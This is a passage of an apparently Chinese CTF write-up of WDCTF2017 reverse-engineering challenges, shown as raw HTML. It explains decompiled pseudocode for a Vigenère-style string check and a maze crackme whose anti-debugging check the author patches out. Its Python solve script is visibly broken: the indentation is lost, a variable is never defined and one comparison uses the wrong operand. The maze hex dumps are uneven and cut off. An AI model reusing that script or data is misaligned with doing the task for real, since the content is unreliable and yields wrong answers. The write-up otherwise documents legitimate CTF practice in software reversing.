class="string">&#x27;J&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      v7 = &amp;our_input;</span><br><span class="line">      <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dword_2B67CC &gt;= <span class="number">0x10</span> )</span><br><span class="line">        v7 = (<span class="type">int</span> *)our_input;</span><br><span class="line">      <span class="keyword">if</span> ( *((_BYTE *)v7 + i) == <span class="string">&#x27;_&#x27;</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        strpcy((<span class="type">int</span>)&amp;dst_string, dword_2B67CC, <span class="string">&#x27;K&#x27;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        v8 = &amp;our_input;</span><br><span class="line">        <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dword_2B67CC &gt;= <span class="number">0x10</span> )</span><br><span class="line">          v8 = (<span class="type">int</span> *)our_input;</span><br><span class="line">        <span class="keyword">if</span> ( *((_BYTE *)v8 + i) == <span class="string">&#x27;&#125;&#x27;</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          strpcy((<span class="type">int</span>)&amp;dst_string, dword_2B67CC, <span class="string">&#x27;L&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">          v9 = &amp;our_input;</span><br><span class="line">          <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dword_2B67CC &gt;= <span class="number">0x10</span> )</span><br><span class="line">            v9 = (<span class="type">int</span> *)our_input;</span><br><span class="line">          strpcy((<span class="type">int</span>)&amp;dst_string, dword_2B67CC, *((_BYTE *)v9 + i));</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>大致看下来，就是说将【字符串中的{}和_进行替换，换成JKL，否则的话我们呢对字符串函数进行赋值】<br>然后就有一个骚操作:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">  len = i + <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">if</span> ( i + <span class="number">1</span> &gt;= <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v12 = i + <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">do</span>                                        <span class="comment">// 长度为1就复制一个，为2就复制2个</span></span><br><span class="line">    &#123;</span><br><span class="line">      v13 = &amp;alphabet1;</span><br><span class="line">      <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dword_2B67B4 &gt;= <span class="number">0x10</span> )</span><br><span class="line">        v13 = (<span class="type">int</span> *)alphabet1;</span><br><span class="line">      strpcy((<span class="type">int</span>)&amp;dst_string, v10, *((_BYTE *)v13 + i));</span><br><span class="line">      --v12;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v12 );</span><br><span class="line">  &#125;</span><br><span class="line">  ++i;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> ( len &lt; <span class="number">20</span> );</span><br></pre></td></tr></table></figure><p>这一段将会计算当前的下标，然后计算当前字符串所属于的位置，然后【在当前第一个字符串之后复制1个Z,第二个字符串之后复制两个Y这样】，然后我们看到明文为230个字符这么长，那么我们大概可以猜到，我们输入的字符串的长度也要为这么长，通过计算可以得知此事的flag长度为20（在程序逻辑中也有体现）</p><p>HEFDSPADVDAGHRHFSSTHLEAFFEWOXGWAFDXNDFUWAERFUBVECADAFHJDSSDAWWFVAXACRZTADAWQTIZADAWBZQQYSBTAPXRAQWDQRAYAIQDWQFFSBTQSFWQRWYNVPADWWDQAWYNXOXVXMUOXCADWQQVXGTNWWQDQVAAQLTNWUWTSMVQDQFVNUUYTVKSJKOLUSUJRLUSFESWSSUJRLYRTIQKTRTIQGJYTYTUSRT</p><p>±---------±--------------+<br>| 002B67B8 | our_input     |<br>±---------±--------------+<br>| 002B67D0 | dst_input     |<br>±---------±--------------+<br>| 0146a2b8 | new_dst_input |<br>±---------±--------------+</p><p>然后我们可以得知当前最关键的替换内容为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> ( len &lt; <span class="number">20</span> );</span><br><span class="line">  index_ = <span class="number">0</span>;</span><br><span class="line">  v15 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( dst_string_len )</span><br><span class="line">  &#123;</span><br><span class="line">    v16 = dst_string_final;</span><br><span class="line">    v17 = dst_string;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      mod = v15 % <span class="number">-6</span>;</span><br><span class="line">      v19 = &amp;input_string;</span><br><span class="line">      <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)input_string_is_long &gt;= <span class="number">0x10</span> )</span><br><span class="line">        v19 = (<span class="type">int</span> *)input_string;</span><br><span class="line">      chr = *((_BYTE *)v19 + mod);</span><br><span class="line">      dst_str = &amp;dst_string;</span><br><span class="line">      num = chr - <span class="string">&#x27;A&#x27;</span>;</span><br><span class="line">      <span class="keyword">if</span> ( v16 &gt;= <span class="number">0x10</span> )</span><br><span class="line">        dst_str = (<span class="type">int</span> *)v17;</span><br><span class="line">      dst_str_ = &amp;dst_string;</span><br><span class="line">      <span class="keyword">if</span> ( v16 &gt;= <span class="number">0x10</span> )</span><br><span class="line">        dst_str_ = (<span class="type">int</span> *)dst_string;</span><br><span class="line">      *((_BYTE *)dst_str_ + index_) = num + *((_BYTE *)dst_str + index_);</span><br><span class="line">      v24 = &amp;dst_string;</span><br><span class="line">      v16 = dst_string_final;</span><br><span class="line">      v17 = dst_string;</span><br><span class="line">      <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dst_string_final &gt;= <span class="number">0x10</span> )</span><br><span class="line">        v24 = (<span class="type">int</span> *)dst_string;</span><br><span class="line">      <span class="keyword">if</span> ( *((_BYTE *)v24 + index_) &gt; <span class="string">&#x27;Z&#x27;</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v25 = &amp;dst_string;</span><br><span class="line">        <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dst_string_final &gt;= <span class="number">0x10</span> )</span><br><span class="line">          v25 = (<span class="type">int</span> *)dst_string;</span><br><span class="line">        *((_BYTE *)v25 + index_) -= <span class="number">26</span>;         <span class="comment">// 小写转换成大写</span></span><br><span class="line">        v16 = dst_string_final;</span><br><span class="line">        v17 = dst_string;</span><br><span class="line">      &#125;</span><br><span class="line">      ++index_;</span><br><span class="line">      v15 = mod + <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( index_ &lt; dst_string_len );</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>也就是说，最关键的比较逻辑为【将当前的字符串和我们原先得到的字符串中的明文对应字符串进行轮转相加，并且将得到的大写字母换成小写】<br>最后的比较函数的内容为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">signed</span> <span class="type">int</span> <span class="title function_">sub_2B15A0</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v0; <span class="comment">// eax@1</span></span><br><span class="line">  <span class="type">signed</span> <span class="type">int</span> v1; <span class="comment">// eax@1</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// esi@1</span></span><br><span class="line">  <span class="type">int</span> *dst; <span class="comment">// ecx@2</span></span><br><span class="line">  <span class="type">int</span> *text; <span class="comment">// edx@2</span></span><br><span class="line"></span><br><span class="line">  v0 = input(<span class="built_in">std</span>::<span class="built_in">cout</span>, <span class="string">&quot;Please input the text:&quot;</span>);</span><br><span class="line">  <span class="built_in">std</span>::basic_ostream&lt;<span class="type">char</span>,<span class="built_in">std</span>::char_traits&lt;<span class="type">char</span>&gt;&gt;::operator&lt;&lt;(v0, sub_2B2260);</span><br><span class="line">  real_input(<span class="built_in">std</span>::<span class="built_in">cin</span>, (<span class="type">int</span>)&amp;text_string);</span><br><span class="line">  v1 = <span class="number">0</span>;</span><br><span class="line">  i = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    dst = &amp;dst_string;</span><br><span class="line">    text = &amp;text_string;</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dst_string_final &gt;= <span class="number">0x10</span> )</span><br><span class="line">      dst = (<span class="type">int</span> *)dst_string;</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)dword_2B67FC &gt;= <span class="number">0x10</span> )</span><br><span class="line">      text = (<span class="type">int</span> *)text_string;</span><br><span class="line">    <span class="keyword">if</span> ( *((_BYTE *)dst + i) != *((_BYTE *)text + i) )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    i += ++v1 + <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">if</span> ( v1 &gt;= <span class="number">20</span> )</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看出，比较的过程中只会比较我们输入的字符串是否为正确的答案。因此我们直接拿到text的明文进行反向解密即可。这里我们给出解题脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">key = <span class="string">&quot;LNCKEN&quot;</span></span><br><span class="line">ans = <span class="string">&#x27;&#x27;</span></span><br><span class="line">text = <span class="string">&#x27;HEFDSPADVDAGHRHFSSTHLEAFFEWOXGWAFDXNDFUWAERFUBVECADAFHJDSSDAWWFVAXACRZTADAWQTIZADAWBZQQYSBTAPXRAQWDQRAYAIQDWQFFSBTQSFWQRWYNVPADWWDQAWYNXOXVXMUOXCADWQQVXGTNWWQDQVAAQLTNWUWTSMVQDQFVNUUYTVKSJKOLUSUJRLUSFESWSSUJRLYRTIQKTRTIQGJYTYTUSRT&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i,each <span class="keyword">in</span> <span class="built_in">enumerate</span>(text):</span><br><span class="line">temp = <span class="built_in">ord</span>(each) - (<span class="built_in">ord</span>(key[i%<span class="number">6</span>]) - <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>))</span><br><span class="line"><span class="keyword">if</span> temp &lt; <span class="number">65</span>:</span><br><span class="line">temp += <span class="number">26</span></span><br><span class="line">ans += <span class="built_in">chr</span>(temp)</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> i &lt; <span class="built_in">len</span>(ans):</span><br><span class="line"><span class="built_in">print</span>(ans[i + j], end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">i += <span class="number">1</span></span><br><span class="line">j += i</span><br><span class="line"><span class="keyword">if</span> i + j &lt; <span class="built_in">len</span>:</span><br><span class="line"><span class="keyword">break</span></span><br></pre></td></tr></table></figure><h2 id="re">re</h2><p>这个题目其实感觉是能够做出来的。。比赛到了后期没睡午觉实在是困的不行，根本没办法集中集成看程序啊。。就没能做出来。<br>这一题下了反调试。。。我们先好好理清楚一下思路好了<br>一开始有一个调用反调试的函数，看了一下对函数本身逻辑没有什么影响，直接patch了。<br>然后的逻辑里面会有一个检查输入的位置，其中可以知道我们的输入格式为WDFLAG{58个字符}<br>然后往后看，看到在后面的内容中有一个函数中有关键字maze，猜测是一个根据输入的字符串会走迷宫的一个程序。</p><p>顺着逻辑看下去，能够看到当前函数:<br><img src="/2017/09/25/WDCTF2017/maze01.png" alt=""><br>从当前逻辑中，我们能够推断出当前maze的大小为21*21，总共大小为441</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">+-----------+---------------+</span><br><span class="line">| B84018    | 迷宫的起始地址 |</span><br><span class="line">+-----------+---------------+</span><br></pre></td></tr></table></figure><p>然后我们找到了迷宫的核心逻辑:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">row = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">for</span> ( clos = ::clos; i &lt; len; ++i )</span><br><span class="line"> &#123;</span><br><span class="line">   chr = str_temp[i];</span><br><span class="line">   <span class="keyword">if</span> ( (<span class="type">unsigned</span> __int8)(chr - <span class="string">&#x27;0&#x27;</span>) &gt; <span class="number">9u</span> )    <span class="comment">// 如果比0大，就视为是使用字符行走，否则视为使用数字行走</span></span><br><span class="line">   &#123;</span><br><span class="line">     <span class="keyword">if</span> ( (<span class="type">unsigned</span> __int8)(chr - <span class="string">&#x27;a&#x27;</span>) &gt; <span class="number">5u</span> )  <span class="comment">// 字母行走的话，不能比&#x27;g&#x27;更大(包括g)</span></span><br><span class="line">       <span class="built_in">puts</span>(<span class="string">&quot;get_next error&quot;</span>);</span><br><span class="line">     step = chr - <span class="string">&#x27;W&#x27;</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">else</span></span><br><span class="line">   &#123;</span><br><span class="line">     step = chr - <span class="string">&#x27;0&#x27;</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   v13 = step &amp; <span class="number">3</span>;                             <span class="comment">// 我们的低2bit和高2bit表示不一样</span></span><br><span class="line">   v12 = ((<span class="type">unsigned</span> <span class="type">int</span>)step &gt;&gt; <span class="number">2</span>) &amp; <span class="number">3</span>;</span><br><span class="line">   o = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">do</span></span><br><span class="line">   &#123;</span><br><span class="line">     v9 = *(&amp;v12 + o);</span><br><span class="line">     row += *((_DWORD *)&amp;row_temp + v9);</span><br><span class="line">     clo += *((_DWORD *)&amp;clos + v9);</span><br><span class="line">     <span class="keyword">if</span> ( row &gt; <span class="number">21</span> || clo &gt; <span class="number">21</span> || *(&amp;maze[<span class="number">22</span> * row] + clo) &amp; <span class="number">1</span> )</span><br><span class="line">       <span class="built_in">puts</span>(<span class="string">&quot;run maze error&quot;</span>);</span><br><span class="line">     ++o;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">while</span> ( o &lt; <span class="number">2</span> );</span><br><span class="line">   str_temp = str;</span><br><span class="line"> &#125;</span><br><span class="line"> v10 = *(&amp;maze[<span class="number">22</span> * row] + clo);<span class="comment">//记录下此时步行到达的位置</span></span><br></pre></td></tr></table></figure><p>从核心逻辑中可以看出，我们的起始地址为(1,0),然后我们通过输入字符串，根据要求形成特定的step，然后在step内行走，在行走的过程中将会根据我们步行到达的位置，决定此时我们的行走路线。然后我们可以看一下此时的迷宫:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">D6 29 EF 19 58 BF 10 41 73 C4 68 96 3A 06 DE A6 84 AD 91 2D 46 00 </span><br><span class="line">7D B8 D1 B6 11 94 BE 7B 21 79 6A CD A7 56 CF D1 60 74 CF BD B0 00 </span><br><span class="line">C5 25 41 FC 5E AA D0 33 75 63 08 DD CA C6 34 D5 34 E0 AE BF 9E 00 </span><br><span class="line">EE 27 7D 2C 0F 37 C9 29 18 F6 6B 05 B9 F3 72 2D 63 46 54 40 7C 00 </span><br><span class="line">27 7B 17 52 53 E4 87 73 5F A6 07 E0 9E BE 71 84 02 C1 0A 2D 79 00 </span><br><span class="line">4D 83 BF 43 2D F5 0B BD A2 BC B0 AA 99 F1 39 27 39 08 82 29 6A 00 </span><br><span class="line">1A 54 A8 6E B5 5D F1 D5 4F DD 1F 0E 43 1F 97 36 97 C7 50 A9 F5 00 </span><br><span class="line">C4 A0 48 A6 21 85 6A 4B BA 06 F2 A0 49 21 D8 AA 38 77 D7 61 70 00 </span><br><span class="line">1F FD 6E 02 1C CA 19 C7 F3 FD 69 4D B1 C8 DA FA 04 42 47 5C 9F 00</span><br><span class="line">4F E6 6B F2 8B 1E 54 32 88 FF AE 18 5B 44 D6 CF B6 27 E6 E4 63 00 </span><br><span class="line">43 12 C1 2A C7 F0 43 66 AA 5A 86 B9 11 70 2B AB 2C C4 E1 A6 DD 00 </span><br><span class="line">FF 2D 04 66 33 E6 F6 23 99 A6 1F D9 74 2B 52 6E AF 54 FD 94 4A 00 </span><br><span class="line">3D 8F D6 43 DA BC 19 9F 9A C1 D9 B1 DF 7A A2 EB DC C8 15 85 3F 00 </span><br><span class="line">5F 85 E7 93 1D 33 E5 75 62 29 0D A3 7F E9 2A B2 E0 D9 9B 6D 33 00 </span><br><span class="line">0D 8D 72 74 F6 BC A5 FE 06 C9 46 A9 DB 0A C8 C7 07 36 56 40 2B 00 </span><br><span class="line">03 24 C8 E2 08 1E FA C1 B0 DF E7 AC AB F4 86 BC C2 EF FE 64 E8 00 </span><br><span class="line">8A 47 28 7F CE C8 91 9E EE 3E 7C 9D 2D 9F 08 0B 4E 52 C5 D2 80 00 </span><br><span class="line">4B 78 F7 EF DE 51 22 35 B4 F5 39 5A 22 0D 11 50 9E E1 A9 26 2A 00 </span><br><span class="line">53 6B D6 F7 DB FC 81 D5 A7 0F 91 42 1F CC F9 8D 32 2A A4 08 9D 00 </span><br><span class="line">3D 6F 89 73 EF 24 F6 EA E8 BA 5E 09 7B A1 B0 6D 74 D9 7A C0 00 00 </span><br><span class="line">73 93 C5 23 C2 A0 1B 69 5F 83 44 E4 98 B1 BB 9B 53 A1 82 5E F8 00 </span><br><span class="line"></span><br></pre></td></tr></table></figure><p>可以看到，函数在最后有一个记录当前节点的过程，可以看出，此时答案的结果就是一个指定的值。</p><p>于是直接上动态调试:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">+-----------+---------------+</span><br><span class="line">| 0079FC8C  |   输入字符串   |</span><br><span class="line">+-----------+---------------+</span><br></pre></td></tr></table></figure><p>然后在<br>009E9000<br>处会存放当前的地址<br>在程序的开始有一个字符串的处理函数:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">  v8 = dst;</span><br><span class="line">  v7 = input;</span><br><span class="line">  <span class="keyword">if</span> ( len &amp; <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    result = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    i = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> ( len &gt;&gt; <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v5 = <span class="built_in">strchr</span>(<span class="string">&quot;BCDFGHJKMPQRTVWXY2346789&quot;</span>, *(_BYTE *)(dst + <span class="number">2</span> * i));</span><br><span class="line">        v6 = <span class="built_in">strchr</span>(<span class="string">&quot;BCDFGHJKMPQRTVWXY2346789&quot;</span>, *(_BYTE *)(v8 + <span class="number">2</span> * i + <span class="number">1</span>));</span><br><span class="line">        <span class="keyword">if</span> ( !v5 || !v6 )</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        dst = v8;</span><br><span class="line">        input = v7;</span><br><span class="line">        *(_BYTE *)(i++ + v7) = (<span class="type">unsigned</span> <span class="type">int</span>)&amp;Str[-(_BYTE)v6 + <span class="number">23</span>] | <span class="number">16</span></span><br><span class="line">                                                                    * ((_BYTE)v5</span><br><span class="line">                                                                     - (<span class="type">unsigned</span> <span class="type">int</span>)<span class="string">&quot;BCDFGHJKMPQRTVWXY2346789&quot;</span>);</span><br><span class="line">        <span class="comment">// int t = v5 - &amp;Str; 也就是当前字符串为开始第几个</span></span><br><span class="line">        <span class="comment">// input[i++] = t | len - (23 + v6 - &amp;Str); 如果这样处理的话，似乎无论如何都不能让当前的</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> ( i &gt;= len &gt;&gt; <span class="number">1</span> )</span><br><span class="line">          <span class="keyword">goto</span> LABEL_7;</span><br><span class="line">      &#125;</span><br><span class="line">      result = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">LABEL_7:</span><br><span class="line">      *(_BYTE *)(i + input) = <span class="number">0</span>;</span><br><span class="line">      result = input;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>换句话说，这里的功能是说【单数位置上的字符在符号表中的下标作为高四位，双数位置上的字符 23 - 在符号表中的下标 为低四位组成新的字符】<br>然后我们跟踪一下看一看我们的字符串将要如何被使用:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( (<span class="type">unsigned</span> __int8)(chr - <span class="string">&#x27;0&#x27;</span>) &gt; <span class="number">9u</span> )    <span class="comment">// 如果比0大，就视为是使用字符行走，否则视为使用数字行走</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( (<span class="type">unsigned</span> __int8)(chr - <span class="string">&#x27;a&#x27;</span>) &gt; <span class="number">5u</span> )  <span class="comment">// 字母行走的话，不能比&#x27;g&#x27;更大(包括g)</span></span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;get_next error&quot;</span>);</span><br><span class="line">      step = chr - <span class="string">&#x27;W&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      step = chr - <span class="string">&#x27;0&#x27;</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>这一段之前提到过，是迷宫的移动过程。不过这里我们要提一下，由于我们知道我们的字符串并不是由一开始确定的，而是要取出字符串的高4bit和低4bit进行或处理，此时得到的值要满足其大小在[‘0’ - ‘h’]之间，不然的话此时的得到的数字将很难达到这个大小。然后我们可以知道,由于这个字符串表的长度为17，也就是说【第一位字符至少也要是从第3个开始才行】，不然的话连0都不会大于。。。</p><p>然后目前我们需要知道以下数据:</p><ul><li>在运算过程中产生的迷宫</li><li>处理后的字符后哪些操作分别表示 ↑ ↓ ← →</li><li>运算结束后，所寻找的重点究竟是哪个</li></ul><p>首先我们找到加密后的迷宫变成了什么样子</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">19 FB CB 7D 75 45 39 B1 27 9B 85 73 19 F9 3D F9 E9 CB 2B C1 9B 00 </span><br><span class="line">40 68 20 1A 3A 10 40 6C B1 72 E8 D2 80 74 B9 46 CA 68 B2 20 23 00 </span><br><span class="line">89 81 A3 4C 5F FB 29 2B 1F AE F7 56 EF 8D 1D 13 67 C0 BD 34 3F 00 </span><br><span class="line">BB F4 4D C6 D0 10 E5 E4 6E 18 E9 9C 78 28 2B D0 A0 8E 1F C4 24 00 </span><br><span class="line">F1 12 73 5E 57 81 9B 33 53 9E 95 A9 5B 47 3F 91 A7 B6 E9 D2 77 00 </span><br><span class="line">D7 DA 3A D2 A0 64 94 20 B3 42 2D FC 67 22 67 96 7B F4 A1 FE EB 00 </span><br><span class="line">69 19 F9 CE 6B 2D 47 67 B1 22 35 D6 BD 50 15 1A 11 90 2D FF 1B 00 </span><br><span class="line">93 B2 FA 8C B2 90 EE 9C 12 F8 5E CE 86 C4 60 F2 69 12 15 A6 2D 00 </span><br><span class="line">57 5D C7 A5 57 EE 71 85 23 52 8D AD 45 8F 1D 1B ED B4 9D 4A 55 00 </span><br><span class="line">D1 9A F5 38 EE 44 17 26 FC 46 CE 7C 67 E4 71 B6 7C F2 FB EA BD 00 </span><br><span class="line">BD 38 A7 FA 93 29 B5 81 E1 67 83 75 31 38 E5 E0 A7 E1 C7 FC 25 00 </span><br><span class="line">33 A4 86 94 31 9E 1C B4 62 9A 4A 7A 16 EE 2A CA C6 1E 52 62 95 00 </span><br><span class="line">21 B5 7D D6 1B 43 6F 54 7D A5 63 23 51 61 A1 EA 51 FE 11 97 45 00</span><br><span class="line">47 EA F8 54 21 52 E3 66 B5 EE C0 B4 50 E2 FF 3A B5 7A 69 DC 21 00</span><br><span class="line">D1 D7 2F 1E 71 22 E5 3E FB 82 FF EB 79 F8 EF 95 95 1F 1D B0 ED 00 </span><br><span class="line">AD 96 FE AE FB 4C 6A C8 42 36 F6 AE 91 6A 92 42 BE D6 5C 8E E9 00 </span><br><span class="line">FB 88 F5 4E C1 FE 35 4F CB 4C 25 2B A1 35 8B 94 BF 34 89 